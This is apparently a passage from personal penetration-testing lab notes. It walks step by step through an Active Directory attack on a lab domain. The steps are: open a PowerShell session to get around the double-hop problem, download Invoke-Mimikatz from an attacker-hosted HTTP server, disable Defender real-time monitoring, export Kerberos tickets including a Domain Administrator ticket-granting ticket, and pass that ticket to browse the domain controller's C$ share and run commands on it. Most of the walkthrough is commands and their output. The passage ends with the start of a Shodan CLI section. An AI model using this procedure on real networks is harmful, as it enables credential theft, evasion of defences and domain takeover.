5. Type `Restart-Service WinRM` then enter a new PSSession with the registered configuration:

   ```
   Enter-PSSession -ComputerName 192.168.150.128 -Credential BOSSMANBEN\GConcy -ConfigurationName GodConcy
   ```

   * The shell will terminate after restarting the service.
   * Enter the credentials for BOSSMANBEN\GConcy in the password prompt
6. Run `klist` again:

   ```
   Current LogonId is 0:0xd0ebf

   Cached Tickets: (1)

   #0>     Client: GConcy @ BOSSMANBEN.LOCAL
           Server: krbtgt/BOSSMANBEN.LOCAL @ BOSSMANBEN.LOCAL
           KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
           Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
           Start Time: 7/12/2019 15:42:59 (local)
           End Time:   7/13/2019 1:42:59 (local)
           Renew Time: 7/19/2019 15:42:59 (local)
           Session Key Type: AES-256-CTS-HMAC-SHA1-96
           Cache Flags: 0x1 -> PRIMARY
           Kdc Called: WIN-BO2CT95INDP
   ```

   * The session now actually runs as the user, **BOSSMANBEN\GConcy**
   * This session now eliminates the **double hop** problem:
     * Instead of the local machine sending a request to the remote machine before reaching the server, the local machine is now acting as or impersonating the remote machine running as the user **BOSSMANBEN\GConcy**.
     * Since the local machine (KALI-WINDOWS) now acts like the remote machine (MSEDGEWIN10), it would seem like the requests sent from the local machine are now going directly to the Domain Controller (BOSSMANBEN).
     * The two previous statement would be useful since the goal of this exploit is to reach the Domain Controller (BOSSMANBEN) using the local machine (KALI-WINDOWS) "without jumping" from the remote machine (MSEDGEWIN10)

### ii. Export krbtgt tickets using Invoke-Mimikatz:

1. Download the exploit to the local machine (KALI-WINDOWS):

   ```
   git clone https://github.com/samratashok/nishang

   cd .\nishang\Gather
   ```
2. Upload **Invoke-Mimikatz.powershell** to the remote machine (MSEDGEWIN10):

   LOCAL MACHINE (KALI-WINDOWS):

   ```bash
   python -m SimpleHTTPServer
   ```

   PSSession (MSEDGEWIN10):

   ```
   cd $home\Desktop

   Invoke-WebRequest -uri http://192.168.150.1:8000/Invoke-Mimikatz.powershell -OutFile Invoke-Mimikatz.powershell
   ```
3. Use dot source to import **Invoke-Mimikatz**:

   PSSession (MSEDGEWIN10):

   ```
   Set-MpPreference -DisableRealtimeMonitoring $true

   . .\Invoke-Mimikatz.powershell
   ```

   * `-DisableRealtimeMonitoring $true` prevents the remote machine from detecting **Invoke-Mimikatz.powershell** as a malicious script
4. Export ***krbtgt tickets*** using Invoke-Mimikatz:

   PSSession (MSEDGEWIN10):

   ```
   mkdir tickets

   cd tickets

   Invoke-Mimikatz -command '"sekurlsa::tickets /export"'
   ```

   A krbtgt ticket for the Domain (BOSSMANBEN.LOCAL) Administrator was exported:

   ```
     .#####.   mimikatz 2.2.0 (x64) #18362 May 30 2019 09:58:36
    .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
    ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
    ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
    '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
     '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

   mimikatz(powershell) # sekurlsa::tickets /export

   ...omitted...

   Authentication Id : 0 ; 303469 (00000000:0004a16d)
   Session           : Interactive from 1
   User Name         : Administrator
   Domain            : BOSSMANBEN
   Logon Server      : WIN-BO2CT95INDP
   Logon Time        : 7/12/2019 4:37:50 PM
   SID               : S-1-5-21-2817836110-3135048609-2922248965-500

           * Username : Administrator
           * Domain   : BOSSMANBEN.LOCAL
           * Password : (null)

          Group 0 - Ticket Granting Service
           [00000000]
             Start/End/MaxRenew: 7/12/2019 4:38:17 PM ; 7/13/2019 2:38:17 AM ; 7/19/2019 4:38:17 PM
             Service Name (02) : LDAP ; WIN-BO2CT95INDP.bossmanben.local ; bossmanben.local ; @ BOSSMANBEN.LOCAL
             Target Name  (02) : LDAP ; WIN-BO2CT95INDP.bossmanben.local ; bossmanben.local ; @ BOSSMANBEN.LOCAL
             Client Name  (01) : Administrator ; @ BOSSMANBEN.LOCAL ( BOSSMANBEN.LOCAL )
             Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
             Session Key       : 0x00000012 - aes256_hmac
               4050506d21e637246324747b2d8a26a69a195020adc6bb715f19441a80075302
             Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
             * Saved to file [0;4a16d]-0-0-40a50000-Administrator@LDAP-WIN-BO2CT95INDP.bossmanben.local.kirbi !

          Group 1 - Client Ticket ?

          Group 2 - Ticket Granting Ticket
           [00000000]
             Start/End/MaxRenew: 7/12/2019 4:38:17 PM ; 7/13/2019 2:38:17 AM ; 7/19/2019 4:38:17 PM
             Service Name (02) : krbtgt ; BOSSMANBEN.LOCAL ; @ BOSSMANBEN.LOCAL
             Target Name  (02) : krbtgt ; BOSSMANBEN ; @ BOSSMANBEN.LOCAL
             Client Name  (01) : Administrator ; @ BOSSMANBEN.LOCAL ( BOSSMANBEN )
             Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
             Session Key       : 0x00000012 - aes256_hmac
               0d397fbecc40d64ac4c5852da47f10f9f757b2db4beaef1e8cdd2bb911ab8605
             Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
             * Saved to file [0;4a16d]-2-0-40e10000-Administrator@krbtgt-BOSSMANBEN.LOCAL.kirbi !

   ...omitted...
   ```

### iii. Pass the ticket using Invoke-Mimikatz

1. View the exported tickets:

   ```
   dir $home\Desktop\tickets
   ```

   ```
   ...omitted...
   -a----       12/07/2019   4:53 PM           1611 [0;4a16d]-2-0-40e10000-Administrator@krbtgt-BOSSMANBEN.LOCAL.kirbi
   ...omitted...
   ```
2. Pass the krbtgt ticket:

   ```
   Invoke-Mimikatz -command '"kerberos::ptt [0;4a16d]-2-0-40e10000-Administrator@krbtgt-BOSSMANBEN.LOCAL.kirbi"'
   ```

   ```
     .#####.   mimikatz 2.2.0 (x64) #18362 May 30 2019 09:58:36
    .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
    ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
    ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
    '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
     '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

   mimikatz(powershell) # kerberos::ptt [0;4a16d]-2-0-40e10000-Administrator@krbtgt-BOSSMANBEN.LOCAL.kirbi

   * File: '[0;4a16d]-2-0-40e10000-Administrator@krbtgt-BOSSMANBEN.LOCAL.kirbi': OK
   ```
3. View the cached tickets using `klist`:

   ```
   Current LogonId is 0:0xd0ebf

   Cached Tickets: (1)

   #0>     Client: Administrator @ BOSSMANBEN.LOCAL
           Server: krbtgt/BOSSMANBEN.LOCAL @ BOSSMANBEN.LOCAL
           KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
           Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
           Start Time: 7/12/2019 16:38:17 (local)
           End Time:   7/13/2019 2:38:17 (local)
           Renew Time: 7/19/2019 16:38:17 (local)
           Session Key Type: AES-256-CTS-HMAC-SHA1-96
           Cache Flags: 0x1 -> PRIMARY
           Kdc Called:
   ```

   * The current ticket for the session is now `Administrator @ BOSSMANBEN.LOCAL` which is a Domain Administrator
   * The current PSSession should now be able to impersonate the Domain Administrator
4. Check if the Domain Controller (BOSSMANBEN) now accessible then get the Primary Domain Controller for BOSSMANBEN:

   ```
   nltest /DCNAME:BOSSMANBEN
   ```

   ```
   PDC for Domain BOSSMANBEN is \\WIN-BO2CT95INDP
   The command completed successfully
   ```

   List contents of the file share, `C$`:

   ```
   dir \\WIN-BO2CT95INDP\C$
   ```

   ```
   Directory: \\WIN-BO2CT95INDP\C$

    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    d-----       16/07/2016   6:23 AM                PerfLogs
    d-r---       09/07/2019   3:01 PM                Program Files
    d-----       16/07/2016   6:23 AM                Program Files (x86)
    d-r---       09/07/2019   3:01 PM                Users
    d-----       09/07/2019   3:10 PM                Windows
    -a----       11/07/2019  12:53 PM              5 gg
   ```

### iv. Pass commands as the Domain Administrator:

```
Invoke-Command -ComputerName WIN-BO2CT95INDP -ScriptBlock { whoami }
```

```
bossmanben\administrator
```

* The file shares in the Domain Controller (BOSSMANBEN) are now accessible as long as the Domain Controller is being accessed using kerberos authentication.
* Commands could also now be executed in the context of the Domain Controller (BOSSMANBEN) using the `Invoke-Command` module in PowerShell.


# Passive Recon

### Shodan CLI

```bash
$ shodan init <api key>

  Successfully initialized
```


